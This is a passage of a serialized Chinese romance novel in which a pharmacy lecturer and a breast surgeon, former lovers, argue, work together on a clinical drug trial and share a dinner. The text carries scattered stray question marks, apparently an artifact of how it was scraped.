所以他又犹豫了,他和她是不是还有?挽回的余地呢? 秦一鸣烦躁地揉了揉眉心,过了好?一会儿,回复刘希若:【今晚太仓促了,再找时间跟她说吧。】. 送走秦一鸣时,谢一菲已经是精疲力尽了,她打算先不想那么?多,洗个澡就睡觉,可洗到一半,又隐约听到门铃响。 她关掉花洒,不确定?地又听了听,的确是她家的门铃响个不停。 她猜可能是秦一鸣落了什么?东西又返回来拿,只?好?潦草地擦干身体穿了睡衣出去开?门。 可让她没想到的是,打开?门看到的竟然是秦铮。 就在二十分?钟前,秦铮已经到家了,正要下车时,他忽然注意到副驾驶位上?好?像有?什么?东西在反光。 仔细一看,是个手?机。不是他自己的,那就只?能是谢一菲的了。 没有?手?机肯定?有?诸多不方便,联系不到她,也只?能他给她送一趟。 可也不是一定?要今晚送过去,但想到秦一鸣这会儿或许还在她家,秦铮便毫不犹豫地再次发?动了车子。 此时门里门外的人看到彼此都是微微一怔。 谢一菲穿的是丝绸质地的分?体睡衣,虽然款式不算暴露,甚至堪称保守,但是质地很轻薄。她半干的长?发?还在滴水,很快就打湿了她的睡衣,勾勒出她胸前的起伏。 秦铮没想到敲开?门看到的会是这样的画面。 短暂的愣怔过后?,他下意识朝她身后?的房间内看了一眼。 此时客厅里黑漆漆的,只?有?一间卧室开?着灯,暖黄的灯光从虚掩着的门缝中流泻出来,在客厅的地砖上?留下一道金色的印记。 再看谢一菲的样子,他几乎可以想到在他来之?前这栋房子里发?生了什么?。 秦铮:“看来我来的不是时候。” 谢一菲没多想他这话是什么?意思,只?当他是看出她在洗澡,所以不方便。 “有?什么?事吗?” 秦铮拿出手?机递到她面前。 她这才想起来自己回来后?一直没看过手?机,没想到落在他车上?了,还好?他及时送了回来,不然不知道要耽误多少事。 算算时间,他可能都已经到家了,大概是特地跑回来给她送手?机的。 谢一菲道了谢,正要去接,他却收回了手?。 谢一菲不明所以地看着他。 秦铮似笑非笑:“这么?大热的天,我特意跑回来给你送手?机,不请我进去喝杯茶吗?” 虽然已经入了夏,但这都晚上?了,也算不上?太热。 她顿了顿说:“稍等一下。” 说完便关上?了门。 秦铮看着在自己眼前闭合的防盗门愣了愣,片刻后?才反应过来,这是有?多防着他?对个送外卖送快递的陌生人她都未必有?这样的防备心,对他却这样,难不成是怕屋里的秦一鸣听到他的声音? 还好?面前的门很快再度打开?,此时的她已经在睡裙外又披了件外套,把?自己遮得?严严实实的。 “今晚谢谢你,不过时间太晚了,就不请你进来坐了,这个你拿着路上?喝吧。” 秦铮低头看了一眼,顿时就笑了。 她还真当他只?是渴了,竟然拿了瓶矿泉水给他。 第23章 第 23 章 “谢老师的感谢,我承受…… 秦铮:“你就是这么谢我的?” 谢一菲还是那句话:“今天?太晚了, 不方便?请你进来坐,改天?请你吃饭。” “你和秦一鸣连糊弄人的口气都差不多?,这是用完我了, 就想着过河拆桥了?” 谢一菲算是看出来了,他哪是要喝水,分明?就是借着送手?机的由?头来找茬的。 她今天?已经够累了,应付完秦一鸣还要应付他的无理取闹, 真当她没有脾气吗? “如果你指的是今晚这顿饭,我觉得我们最多?是合作关系,互惠互利, 说我过河拆桥我不认同,如果你是说给我送手?机这事, 我谢谢你,那你能把手?机给我了吗?” 秦铮看着她说:“为什么你对别人都那么好脾气, 到我这就跟变了个人似的。” 谢一菲怔了怔, 有点被他说中的心虚, 但这好像也不能怪她。 谢一菲:“那你可?能应该检讨一下你自己。” 她扫了一眼他手?上?的手?机:“这旧手?机不值钱,如果你实在想留着就当我送你了。现在我要休息了,再见。” 说着她就要关门?, 而就在门?即将合上?的那一刹那,忽然?被一只骨节分明?的手?轻巧挡住。 男女力?量的悬殊隔 着一道门?板被展现得淋漓尽致。她使出吃奶的力?气去关门?,而他看似没用什么力?, 门?却丝毫未动。 短暂的僵持过后?,她再也支撑不住, 门?直接弹了开来,谢一菲被那力?道推得朝后?踉跄一步,身体便?抵在了身后?的鞋柜上?。 与此同时, 男人向前一步,脚步沉沉跨进了屋内,顿时让她感受到了来自他的压迫感。 “你又想干什么?”她警惕地看着他。 他不答反问:“你呢?又想打我吗?” 他垂眸看着她,那种眼神她太熟悉了,那是有威胁的,带着浴望的,是赤、裸裸的男人看女人的眼神,和那一晚在初涩时他看她的眼神如出一辙。 到了这一刻,谢一菲知道她不能再继续自欺欺人下去了——之前酒吧的那一吻和那一巴掌他们都没有忘记,发生过的事永远都不可?能当没发生过。 正在两人无声?对峙的时候,秦铮身后?的走廊里忽然?传来防盗门?开启的声?音。 对门?住着一位很爱八卦的阿姨,每天?这时候出门?倒垃圾。如果被她看到谢一菲家里多?了个不是秦一鸣的男人,还不知道这闲话会怎么传呢。 电光火石之间,她也顾不上?和秦铮较劲了,在对面那扇门?里的人走出来之前,迅速抬脚踹上?了自家的大门?。 她这一动作打破了两人的沉默。 秦铮在一瞬的惊讶过后?,似笑非笑地看着她:“怎么?打我还得关起门?来打吗?” 谢一菲没心思跟他开玩笑,不自在地错开视线:“我不想被外面的人误会。” “那就不怕里面的人误会?” 谢一菲微微一怔:“里面的人?里面什么人?” 秦铮顿了顿,又看了眼卧室的方向:“秦一鸣呢?” 原来他以?为秦一鸣在房间里,所以?这是故意给秦一鸣添堵呢? 这人什么时候这么幼稚了? “他回家了,你找他的话不应该来这。” “谁说我找他?” 说着他走进客厅,把她的手?机丢在茶几上?:“我真有点渴了,但我想喝点热水。大晚上?跑来给你送手?机,这个要求不算过分吧?” 他说他不关心秦一鸣在不在,但他现在明?显不像刚才那么咄咄逼人了。 谢一菲无语,只好去厨房给他倒水。 偏偏水壶恰好空了,她得再烧一壶。不想去客厅里和他大眼瞪小眼,她干脆守在水壶旁边等着水开。 今天?在秦一鸣出现之前,她觉得她已经可?以?和秦铮和平相处了,可?是在秦一鸣出现之后?,好像一切都变了,又好像一切都只是露出了它本来的样?子?。 “秦一鸣今天?找你说什么了?” 谢一菲正对着水壶发呆,忽然?听到他问她。 “没说什么。” “没说什么他会这么晚跑来找你?” 谢一菲被他这理所应当的语气搞的有点恼火,她的私事凭什么跟他汇报?难道就因为他今晚帮她引荐了周主任? “我和他一定要有事才能见面吗?再说这和你有什么关系?” 谢一菲待人一向随和,但是他好像总有本事惹怒她。 秦铮:“没关系吗?看样?子?我之前说的话你已经忘了。” 她从橱柜里拿出个杯子洗干净:“你说过的话太多?了,我不知道你说的是哪句。” “秦一鸣是来提分手?的吧?” 谢一菲洗杯子的动作忽然顿住了。 秦铮:“那正好,我那天?说过的话就再说一遍……” 谢一菲很想阻止他,回头却对上他沉静的双眸。 水龙头的水还在哗哗流着,她听到他说:“如果你只是想玩玩的话,我乐意奉陪。” 原本以?为那些话都是他随口说的,现在看似乎并不是。 谢一菲回过神来,关掉了水龙头:“他不合适,你就更不合适了。” “为什么?” “一条难走的路第?一次因为不了解情况误入了,谁还会走第?二次?” “所以?你觉得这条路不好走是我的问题?” 当年不告而别的是他,忽然?失去联系的人也是他,他后?来确实去找过她,但是那离他们断了联系都过去很久了,难道她就该一直等他,等他想起她这个人时再像什么事都没发生过一样?回到他身边吗? 她究竟做错了什么,他要那样?对她? 即便?已经时隔这么久,再想起当年的事,她依旧觉得委屈。 “难道是我的问题?” 秦铮微哂:“有没有人说过,你这人没有公主命却有公主病,稍有不顺你意的时候就给人甩脸子??是不是看别人上?赶着讨好你、逢迎你,你特有成就感?” 所以?就因为这个,他选择那样?对待她? 当年她以?为他只是不爱了,以?为是少年心性,说变就变。这么多?年过去了,再回想起当年的事她虽然?不能全然?释怀,但也可?以?尝试去理解了。 可?是她怎么也想不到,多?年之后?的他非但没认识到当年的错误,反而还来怪她。 她觉得再跟他多?说一句话都是对过去那个自己的又一次伤害。 谢一菲笑了笑:“是啊,时隔这么多?年还能看到你借着送东西的由?头大半夜跑来找我,我确实很有成就感。但一次两次还可?以?,次数多?了我也会感到困扰。比如现在,我只想睡觉。” 秦铮的脸色如她所愿变得不怎么好看。 谢一菲:“觉得难堪吗?那以?后?就少做这样?的事。” 半晌,秦铮冷笑着点点头:“谢谢谢老师提醒。” 秦铮离开了,难得干脆利索,而就在防盗门?闭合声?传来的那一刹那,谢一菲的身体仿佛被抽空了似的,忽然?就没了力?气。 水壶发出“滴滴”的声?音,热水咕嘟咕嘟几乎从壶嘴里冒出来,在断电很久之后?依然?是沸腾的。谢一菲想给自己倒杯水,这才发现手?都在抖。 这天?晚上?,谢一菲没有睡好。她一直在做梦,梦到了很多?年以?前,她和秦铮在一起的那个暑假。 那天?傍晚夕阳很美,天?气难得不怎么闷热,他们爬到综合楼的顶楼,觉得落日和晚霞都很近,地面却很远,风虽然?是暖的,但干爽宜人。 她牵起他的手?举至半空,让夕阳余晖透过他的指缝洒在她的脸上?。 她说:“你的手?真漂亮,典型的漫画手?。” 秦铮问她:“什么叫漫画手??” 她伸开手?,让他们手?掌相贴,她的手?指从他指间穿过,最终与他十指相扣:“就是想让人这样?握住的手?。” 他看她良久,然?后?托起她的下巴在她唇上?印下柔柔一吻。 那一天?城市的喧嚣离他们很远,夏日的晚风轻抚他的眉眼,又拂过她的胸膛,最终把他的温度留在她的心口。 他坏心眼地问:“那这样?……这样?,还有这样?的手?叫什么?” 谢一菲被他逗笑:“咸猪手?。” 他们明?明?那么好过,怎么会变成现在这样?? …… 再见到秦铮是二期试验的启动会上?。 谢一菲本以?为她那晚得罪了秦铮,二期试验的事也肯定没希望了。谁知不久前她突然?接到了周意芝的电话,恭喜她试验的审批流程已经走完了,很快就可?以?开展临床试验了。 项目的进度停滞了这么久,终于可?以?继续推进,这无疑是巨大的好消息。 谢一菲再三表示感谢,周意芝却笑得意味深长:“要谢就谢咱们秦医生吧,这次让你们等这么久,是因为院里态度不够坚决。我们科人手?非常紧张,得有人愿意接手?这个项目才行,我虽然?很看好你们,但确实精力?有限,还好秦医生主动承担起了配合试验的工作,这才让这个事情顺利了不少。” 这么算算时间,他主动担起这份工作应该是在两人刚刚大吵了一架之后?。 会这么不计前嫌地帮她,他到底是怎么想的?谢一菲发现自己还是看不透他。 试验的启动会在医院召开,院方、明?德和高校的相关人员,还有药监部门?的领导参加了这次会议。 参会的人很多?,谢一菲完全没有和秦铮说话的机会,直到 会议结束。 会议持续了一上?午,结束后?明?德安排了工作餐。谢一菲因为学?校有事无法参加,但送走其他人后?,她发现秦铮也没有去。 想到周意芝的那番话,谢一菲鼓起勇气叫住了他。 此时会议室外的走廊里只有他们两人。他回头看着她,一个字也没说,态度上?是透着拒人于千里之外的疏离。 看来上?次是把他得罪狠了。 谢一菲说:“试验的事我听周主任说了,谢谢你。” “不用了,谢老师的感谢,我承受不起。” 第24章 第 24 章 比起“无动于衷”,那更…… 谢一菲觉得脸上火辣辣的。 得知秦铮依旧在项目的事上选择帮她的时候, 她都有?点?唾弃自?己,怀疑自?己真就像他说的那样是个过河拆桥的小人。 可是那天晚上他说的那些话也确实刺痛了?她,她没办法当听不到。 谢一菲:“公是公私是私, 试验的事确实多亏了?你。” 秦铮:“公事的话那就更不用谢我了?,我愿意担起这部?分工作与?你无关。” 谢一菲不解:“那是为什么?” 秦铮:“你也接触过不少癌症病人了?,看到她们那样,你会有?什么想法?” 谢一菲不由得又想起之前住院时对床阿姨的胸。算起来时间已经过去?这么久了?, 可时至今日,她依旧无法平静地回忆自?己所看到的那个画面。 秦铮:“我只是希望能多一些治疗手段,我的病人能多一点?被治愈的希望而已, 所以我做这些其?实与?你无关。” 他说这话时情绪很平静,像是再日常不过的闲聊, 可是她却从他的神情中捕捉到一丝不易被察觉的郑重?和认真。 她又想起那一晚,寂静的病区里亮着灯的那间办公室, 还有?惨白灯光下伏案工作的他。 原来是她自?作多情了?。 谢一菲觉得有?点?尴尬, 但心情却豁然开朗。 她深吸一口?气说:“我知道了?, 但无论?如何,这个项目能走到这一步还是要感谢秦医生你。后续的试验我们会全力以赴,不辜负院方对我们的信任。” 秦铮看了?她片刻, 面无表情地点?点?头:“那我就拭目以待了?。”. 针对新药研发开展的临床试验属于前瞻性的研究,进展到二期,药物的安全性已经经过充分的验证, 所以重?点?是考察药物的疗效和副作用。 这期间医院和药品研发方需要分工协作,医院负责按照试验方案筛选合适的患者入组, 以及对入组患者进行规范的治疗和监测,包括按照规定的剂量和时间给予试验药物,定期进行身体检查, 准确记录患者在试验期间的所有?相关数据和症状变化,同时还要配合药品研发方进行数据的收集和整理,确保数据的真实性和完整性。 而药品研发方需要制定临床试验方案,同时要对参与?试验的医护人员进行培训。但是因?为乳腺外?科人手紧张,数据收集和整理的工作全部?落在谢一菲和明德这边,而且明德还需要派几个人协助谢一菲和医生护士们跟踪患者的情况。 考试周结束后,谢一菲的教学工作暂时告一段落,她正?好有?大把的时间专注于这个项目。 六月底,她带着几个研究生和明德的几名项目组成员入驻了?附院的乳腺外?科。 以前住院的时候,谢一菲就对秦铮的工作状态有?所了?解,这次试验的院方负责人是他,平时少不了?因?为患者的事跟他打交道,她这才知道自?己以前对他的了?解只是冰山一角。 有?一次一个学生偷偷问谢一菲:“秦医生是不是信不过我们?不然怎么每天像防贼一样防着我们项目组的人?” 谢一菲又想到那天会议结束后秦铮对她说的话。 “他可能只是想对他的病人负责吧。” 学生说:“这没毛病。但工作之余对我们的态度也不用那么酷吧?你看我们来医院这么久了?,和其?他医生护士最起码也能混到个点?头之交了?,唯独他……每次他看我的时候,我都怀疑我是不是做错了?什么。江湖传闻,我们这个项目可是在他的力挺下才能这么快批下来的,这消息怎么感觉不太准?” 谢一菲笑:“他可能就是那样的性格,你看他对谁热情了??” 学生想了?想:“好像也是。但这抬头不见低头见的,我就是觉得很别扭。” “管那么多干什么,做好我们分内的事就行了?。” 其?实秦铮对大多数人都是冷漠的,但他的冷漠不是态度上的冷漠,相反他对旁人的态度都是温和有?礼的,他的冷漠是一种无形的距离感和压迫感。 但是谢一菲也看得出?来,他肯定还在为那晚上的事生她的气,所以这学生的感觉其?实没有?错,可她也没办法解释什么。 唯一值得庆幸的是,也不知道秦铮是怎么和周意芝解释的,周意芝对他们两人眼?下的相处模式既没表现出?意外?,也没表现出?好奇,好像他们本来就该是这样似的。 这样也好,不用她继续配合他演戏,倒是省心了?。 打发走了?那学生,谢一菲收拾好情绪去访视一个刚用过药的患者。 快结束的时候,恰巧遇到了?秦铮。像过往的每一次一样,如非必要他们即便在病房遇上了也不会和彼此多说一句话。 他是来找12床的,那是他的病人,一位姓刘的大姐。 刘姐今年52岁,据说几年前就发现左胸有一个硬块,但一直没当回事,最近觉得有?点?疼才想到来医院检查。钼靶和B超报告诊断为4C,术前病理出?来后,秦铮为她制定了?手术方案。可临到要做手术了?,刘姐的血压忽然飙升到160,只好把手术推迟。 秦铮过来就是来沟通这件事的。 刘姐现在的情况肯定要先降压,然后做麻醉评估,没问题才能考虑手术。 聊完这些,刘姐却没有?立刻放秦铮离开。 她吞吞吐吐地说:“秦医生,静静之前也觉得不太舒服,您能帮着看看吗?” 刘姐有?一个女儿,小名叫静静,三十出?头,据说是一家国企的小领导,每天忙得脚不沾地。但静静很孝顺,只要有?空就会来医院看刘姐,今天她恰巧也在。 听她忽然提到自?己,静静连忙说:“我都跟您说了?,我没事,秦医生还忙着呢!” 见秦铮看向自?己,静静支吾了?一下说:“就几个月前我突然觉得□□刺痛,不过后来吃了?点?止痛药就好了?。” 可能是考虑到病房人多,静静又不是他的病人,秦铮没有?亲自?给她手诊,而是问她:“自?己做过□□自?检吗?有?肿块吗?” 谢一菲闻言不由得看向静静,她似乎是犹豫了?一下说:“有?时候有?有?时候没有?,所以我估计就是乳腺增生,乳腺增生不是也会疼吗?医生,我这应该没什么问题吧?” 秦铮:“不放心的话抽空去?门诊看一下,需要的话再做B超。” 静静说:“我知道了?,谢谢医生,等忙完这段时间我一定去?。不过我觉得应该没什么事,现在都没什么感觉了?。” 谢一菲下意识看了?眼?秦铮,他只是不置可否地点?了?点?头. 这一上午谢一菲忙得脚不沾地,等她感觉到饿的时候才发现饭点?都快过了?。 还好食堂还有?饭,谢一菲随便打了?两个菜,刚打好就听到有?人叫她的名字,循声看过去?,角落里有?人正?朝她招手,是何婷婷。 何婷婷在科里几乎充当着秦铮“代言人”的身份,秦铮平时工作很忙,而何婷婷是离他最近的人,所以很多事情他都是通过何婷婷传达给大家,包括和试验有?关的一些事。所以这一来一往的,加上谢一菲之前在这做过手术的情分,她和何婷婷很快就熟悉了?起来。 看到何婷婷,谢一菲下意识就去?看她对面的人,还真是秦铮。 他看都没看她一眼?,一副生人勿近的模样。 要是以往谢一菲绝对不会和他一起吃饭,但是想到早上的事,她最终端着餐盘走了?过去?。 何婷婷问:“谢老师怎么也这么晚来吃饭?” “一忙就忘了?时间。你们呢?” 何婷婷叹气:“还不是被拉着加班,差点?饿死。” 能拉着何婷婷加班的只能是秦铮了?。而秦铮就像没听到一样,任由何婷婷当面抱怨他。 这么一看,他脾气还挺好的。她想了?想,还是决定跟他讨论?一下静静的事。 “秦医生,12床患者的那位家属真的只是乳腺增生吗?” 秦铮神色淡淡:“就她自?述的那几句话能说明什么?” 谢一菲说出?自?己的判断:“一般的疼痛是不需要吃止痛药的,只有?疼到无法忍受时才会想到要吃药,而且你问她有?没有?肿块的时候,她没有?立刻否认,说明是有?肿块的,综合这些情况,听上去?并?不像乳腺增生。” 以前谢一菲对乳腺癌的认知还停留在纸面上,直到来到这里,接触了?那么多患者,她才对这个病有?了?更深刻的理解和认识,好像也更能和她们共情了?。 秦铮:“所以呢?听你这语气像是我做错了?什么。” “我只是觉得应该提醒她要重?视。” “医生是靠事实说话的,如果?所有?医生都能像你这样从几句话就能给出?诊断,那医学生也用不着读那么多年书,也不用什么大轮转小轮转的就能直接上手术台了?。” 谢一菲憋着的一口?气一瞬间就泄了?,秦铮说的没错,但是…… “她既然表示有?不舒服,那就该去?做做检查,别人说了?未必有?用,医生的话她应该还是会听的。” 几个月前,她在来医院做复查前也做了?很久的心理建设。所以她理解那些讳疾忌医的人,明白她们的想法,好像不去?检查不去?发现病症就不存在了?一样,但这样耽误的是自?己。这段时间她也学习了?很多,知道乳腺癌这种病拖上一两个月就可能失去?很多治疗手段。 秦铮:“谢老师是觉得我没苦口?婆心地劝她做检查是我的错?你是不是对我们医生的要求和期待太高了??” 谢一菲怔了?怔,无言以对。 秦铮说的没错,更何况他已经建议过静静去?做个B超了?,是对方不当回事,确实没有?理由苛责他。 “抱歉。”谢一菲理解秦铮作为医生的本分,但她还是做不到像他一样。 秦铮起身,显然没有?继续和她说下去?的意思:“我吃好了?,你们慢慢吃。” 秦铮走后,何婷婷好奇地问谢一菲:“谢老师,你们刚才说的人是静静吗?” 早上秦铮去?病房的时候何婷婷并?不在,谢一菲有?点?意外?:“对,你怎么知道?” “害,我们就是因?为她加班的!你不知道今天上午我们看了?多少个号,本来就忙到很晚了?,又为她加了?个班。” “可静静早上时还表现得不太当回事,没想到这么快就去?找秦医生了?。” “是老板打电话叫她来的。” 这就更让谢一菲意外?了?。她一直以为秦铮是那种事不关己高高挂起的人,别人不问,他甚至不会多说一句,所以她怎么也想不到他能做到这一步。换做是她,她也未必做得到。 “虽然现在静静的检查结果?还没出?来,但根据我的经验,她那个肿块多半是不好的。要不是老板叫她来,不知道她又会耽误多久。”何婷婷叹道,“她们一家子真该感谢老板。” 谢一菲回过神来:“那秦医生刚才怎么不说?” 何婷婷笑:“你又不是第一天认识老板了?,他老人家那副帅气的皮囊下全是反骨。你说他冷漠,还不许他怼你呀?” 谢一菲仔细回想了?一下她刚才说过的话:“我说他冷漠了?吗?” 何婷婷:“你没说,但是你刚才肯定想,他为什么不像你那么着急呢?是不是医生当久了?,人就会变得冷漠,也不把别人的生死太当回事了??” 何婷婷的话让谢一菲很吃惊,因?为刚才有?那么一瞬间,她确实是这么想的。 谢一菲:“我表现得有?那么明显吗?” “不是你表现得明显,是我以前也跟你一样。后来跟着老板时间长了?,才知道不是那么回事。其?实老板以前也是个耿直boy,有?什么说什么,但后来发生了?一件事,对他老人家影响还挺大的。” “什么事?” “别的医生我不清楚,但是老板给患者开的每一项检查都是必要的。有?一次,老板因?为这事被一个患者投诉了?。本来这种事也不少见,谁也没当回事。但差不多半年后这个患者因?为胃痛频繁发作又来了?我们院,一检查才知道她的胃痛是乳腺癌引起的,可是那时候她已经是晚期了?,最后求着老板收治了?她。不过一开始老板就跟她家人说清楚了?,治愈的希望很渺茫,只能是尽量减轻她的痛苦,延长她的生存期。” 谢一菲的心提了?起来:“那后来怎么样了??” “患者去?世了?。不过比预想的多活了?一年多,离开时状态也还好。可是她家人不感恩老板也就算了?,竟然直接拉了?横幅来医院闹事,非说是我老板记恨她当初举报他,所以故意把人给治死了?。” 谢一菲还沉浸在故事的前半段里,完全没料到后半段来了?个大反转。 “为什么?” “人没了?,就想捞点?钱呗。” 谢一菲没想到这种离谱的事会发生在身边人的身上。 “医院不调查吗?” “调查了?呀,所以医务科最初出?面协调的时候还是向着自?己人的,但后来为了?安抚那家子奇葩赔了?钱不说,老板那年的各种评优资格也都被取消了?。这不就是在变相承认那人是老板给治死的吗?说起来这件事的起因?就是他劝那患者多做个检查,他当初要是不劝,后来可能也就没那么多事了?。” 听何婷婷这么说,谢一菲忽然理解了?今天早上秦铮的反应,比起“无动?于衷”,那更像是一种“克制”。 “原来是这样。” 何婷婷叹了?口?气:“所以啊,有?的时候真不能怪医生不够热情,谁知道来看诊的是什么人呢。” 谢一菲点?点?头:“是我把事情想的太简单了?。” “其?实,因?为每天都要面对生死,医生反而更敬畏生死。就拿我老板来说,一般不了?解他的人肯定觉得他这人挺冷漠的,但事实上他是我见过的最有?温度的医生了?。” …… 为了?犒劳暑假留下来跟二期试验的两个学生,谢一菲说好请他们吃大餐。 有?个学生是北京本地的,周六这天开了?家里的车出?来,带着谢一菲他们往北三环边上一家网红烧烤店驶去?。 天阴沉沉的,风很大,像是要下雨,又赶上周末的晚高峰,走到哪都堵。好不容易找到了?烧烤店,又找不到停车位,最后他们绕到路对面的体育馆才停好了?车。 谢一菲刚从车上下来,就听到有?人叫她的名字,回头看,一个女孩正?惊喜地朝她奋力挥手。 何婷婷穿着一身白色运动?装,扎着高高的马尾,和平时的样子大相径庭,这让谢一菲险些没认出?她来。 而下一秒,她的视线中又多了?一个人。 男人一身黑色休闲装,手上拎着包和球拍,头发有?点?湿,但很清爽,像是运动?后刚洗完澡,是秦铮。 第25章 第 25 章 有少女的青涩,也有成熟…… 谢一菲主动和秦铮打招呼:“来打球吗?” 秦铮神色淡淡:“嗯, 我们院的比赛。” 何婷婷抱怨道:“一堆腿脚不利索的老主任和一群不敢赢球的低年资医生,都给我看睡着了!所?以老板开溜我必须跟上!对了,你们也是来打球的吗?” 谢一菲笑:“不是, 在附近吃饭,那?边没有停车位了。” 何婷婷好奇:“怎么跑这么老远来吃饭?” 一个学生回话道:“谢老师要请我们吃大餐,正?好这附近有一家网红烧烤店我们早想来试一试了,所?以趁着周末有时间就过来了。” 说到吃, 何婷婷眼前一亮:“你说那?家我知道!我们刚才来的时候店门口就排了好多人!” 谢一菲犹豫了一下问秦铮:“你们晚上还没吃饭吧?要不 一起吧?” 众人都眼巴巴地看着秦铮,等他发话。 就当谢一菲以为他会拒绝的时候,他却说:“那?我们就不客气了。” 何婷婷高兴地欢呼了一声, 谢一菲也在意外之余松了口气。 其实?这段时间,她?一直试图和他缓和关系。 不管他在感情上对她?是什么样的态度, 但在工作上他确实?帮了她?很?多,而且她?也想为静静的事跟他道个歉。可是她?又担心?自己表现得太刻意会被?他认为是有所?图的讨好。 难得今天偶然遇上, 她?提出请他们师生吃个饭就显得自然多了。 就说话的片刻, 天色竟然快要黑了, 一副风雨欲来的架势。 可即便这么恶劣的天气,也挡不住大家对美食的热爱。此时烧烤店外依旧有很?多人在等位,几个店员正?在撑起遮雨棚, 以防大雨淋湿等位的客人。 好在他们提前订了位置,直接可以进店用餐。 有何婷婷和谢一菲的两个学生在,倒是不用担心?冷场。几人边吃边聊, 不知道怎么就聊到了专业上。 何婷婷抱怨学医苦,谢一菲的学生抱怨药学还不如医学。 “我们学药的, 本科毕业根本找不到工作,就算进了医院平时工作也就是抓抓药。硕士生倒是有机会进入研究所?,但我听说依旧是苦兮兮的质检工作。真正?的研发工作门槛很?高, 一般都要求博士毕业,但是做药品研发的不一定是我们这个专业出来的,搞化学的也可以做,本来就僧多粥少,还有一大堆人跟我们抢饭碗。” 另一个学生跟着附和:“就业就不提了,最?烦躁的是我们药学生每天的工作不是杀小白鼠就是永无止境的过柱子,还得身强体壮,不然真扛不动试剂。” 听着他们聊着药学生的日常,谢一菲也想起自己读书那?会儿的一件小事。那?时候刚开始流行?做美甲,谢一菲见别人指甲做得漂亮也很?羡慕,省吃俭用地做了一次,但好景不长,没多久就被?实?验用的二氯甲烷给洗干净了。 想到那?时候的自己,她?觉得既心?酸又好笑。 正?在这时,她?感觉到有人在看她?,一抬眼就对上了秦铮探究的视线。 秦铮问:“谢老师是为什么选的药学?” 她?不记得他们当年有没有探讨过这个话题,但只?要他对她?家的情况多一点了解,大概就能猜得到了。 谢一菲:“我以为学了这个以后会很?有钱。” 何婷婷好奇追问:“怎么说?” 谢一菲:“当初有个学长跟我说每个药学毕业的学生都有制作□□的能力?,但毕业后却没人干这个。” 何婷婷:“对哦,还真没听说,是因为做这个犯法吗?” 谢一菲笑:“他告诉我,是因为做药更赚钱。” 众人闻言哈哈大笑。 一个学生说:“谢老师您这学长够坑人的啊?没拉黑的话赶紧拉黑吧。” 何婷婷:“那?这学长也是学药的吗?” 谢一菲仔细回想了一下,坦白说:“不太记得了。” 旁边人说:“肯定不是,学了就知道有多苦了。” 几人你一言我一语,唯有刚才问话的秦铮面朝窗外沉默着。 谢一菲顺着他的视线看出去。此时,风似乎更大了,吹得道路两旁的树枝跟着乱晃,没一会儿零落的雨滴砸下来,路上行?人仓皇逃窜,转瞬的工夫雨势陡然变大,地面很?快就湿透了。 再收回视线时,谢一菲发现秦铮在看她?。 她?顿了顿,问出自己一直以来的一个疑问:“那?秦医生为什么会学医?” 众人的视线都落在秦铮的身上,下意识安静下来等着他的答案。这一刻,周遭的喧嚣和窗外的风雨,都变成了白噪声。 秦铮端起面前的茶杯喝了口茶:“反正?不是奔着阅女无数去的。” 有人没憋住,直接笑出声来:“看来您没少被?误解。” “既然提到了这个……”一个学生大着胆子问,“我能采访秦医生一个问题吗?” “你说。” “是这样,我舍友总想去隆胸,我不理解大小是不是真的那么重要,单纯觉得这东西对身体总归有伤害吧?您觉得有必要吗?或者说,在您看来什么样的胸部是美的?” 秦铮还没回答,何婷婷已经对她?竖起了大拇指:“没看出来啊姐妹,这你都敢问!” 女学生摸了摸鼻子:“如果秦医生觉得被?冒犯了,可以不回答哈。” 什么样的胸部是美的? 琢磨着女生的问题,秦铮的思绪被?拉回到了很?久远以前。 那?是一个傍晚,霞光还剩最?后一点,映红了远处的天际,那?个房间里没有开灯,光从窗子里照进来,为房间里的女生勾勒出一个不甚清晰的影子,像是某个电影里的镜头——单薄的肩膀、漂亮的蝴蝶骨,款式简单的内衣包裹着她?。那?一年的她?,有少女的青涩,也有成熟女性的玲珑。 回过神来时,他看到记忆中的少女也正?满眼好奇地看着他。 他几乎忘了,她?也有这么鲜活灵动的一面,不知道是年岁封印住了她?的这一面,还是他们都变了。 他笑了笑:“健康的就是最?好的。” 听到这个答案,在座几人明显都有点失望,但又没人能否认,这应该就是秦铮最?真实?的想法。 何婷婷见缝插针地拍起了秦铮的马屁:“果然还是老板有格局,您这么一说,我忽然觉得胸大胸小都无所?谓了。” 秦铮:“大小是无所?谓,但有和没有还是有区别的。” 众人哈哈大笑,谢一菲也忍俊不禁。之前她?就见识过秦铮和周意芝是怎么相处的,所?以对秦铮和何婷婷他们师生这样的相处模式也就不觉得奇怪了,可见这风格算是他们的师门传承了。 这里除了秦铮和谢一菲,其他人一个比一个话多,因为有他们在,这顿饭的氛围并没有谢一菲想的那?么糟糕,甚至在结束的时候大家还有点意犹未尽。但难得这会儿雨小了点,再不走?搞不好就要被?困在这了。 离开了烧烤店,几人根据去往的方向分了两辆车走?。最?后上了秦铮这辆车的只?有谢一菲。 每逢下雨天,路况都很?糟糕,而且今天雨还不小,满眼都是闪着的车灯和被?扭曲了的街道。 谢一菲:“上次静静的事,是我误会了,我没想到你会记着她?的情况,还专门催她?去检查。” “那?你确实?误会了,是她?自己想通了而已。” 可何婷婷分明不是这么说的,承认自己也怕静静延误病情有那?么难吗? 谢一菲:“不管怎么样,我还是要为我那?天说的话道歉。” “不觉得我冷漠了?” 原来她?那?天表现得那?么明显,不仅何婷婷看出来了,他也看出来了。 谢一菲顿了顿:“何婷婷说你是她?见过最?有温度的医生。” “那?你觉得呢?” 谢一菲纠结了半天措辞,最?后也只?憋出一句:“你是难得一见的好医生。” 秦铮笑了:“也是难得听到你夸我。” “我只?是实?话实?说。做医生很?累吧?” “不轻松。” “为什么学医?” 谢一菲明明记得他当年被?保送进了清大计算机专业,怎么后来改学医了?难道是时隔太久,她?记错了? 秦铮没有立刻回答她?的问题。 不知不觉中,窗外雨势越来越大,雨水打在车身上劈啪作响,更显得这一刻的车内寂静。 “为了治病救人。”他瞥她?一眼,“你信吗?” 谢一菲不由的又想到那?个深夜伏案工作的身影,还有何婷婷说的“理想和追求”。 她?笑:“为什么不信?” “那?你呢?刚才为什么撒谎?” “我撒什么谎了?”谢一菲不解。 “那?个关于?□□的段子,是我讲的,不是你的什么学长。” 谢一菲怔了怔。 她?确实?只?记得 有人给她?讲过这么一个段子,但究竟是谁讲的,什么时候讲的,时隔太久,她?早就不记得了。没想到编瞎话编到了当事人面前,这多少有点尴尬。 秦铮:“我记得你说过你不喜欢这个专业,既然不喜欢怎么还坚持了这么多年?” 是啊,既然不喜欢是怎么坚持下来的? 在她?的记忆里母亲常年吃药,家里总围绕着“药”生出这样那?样的事。 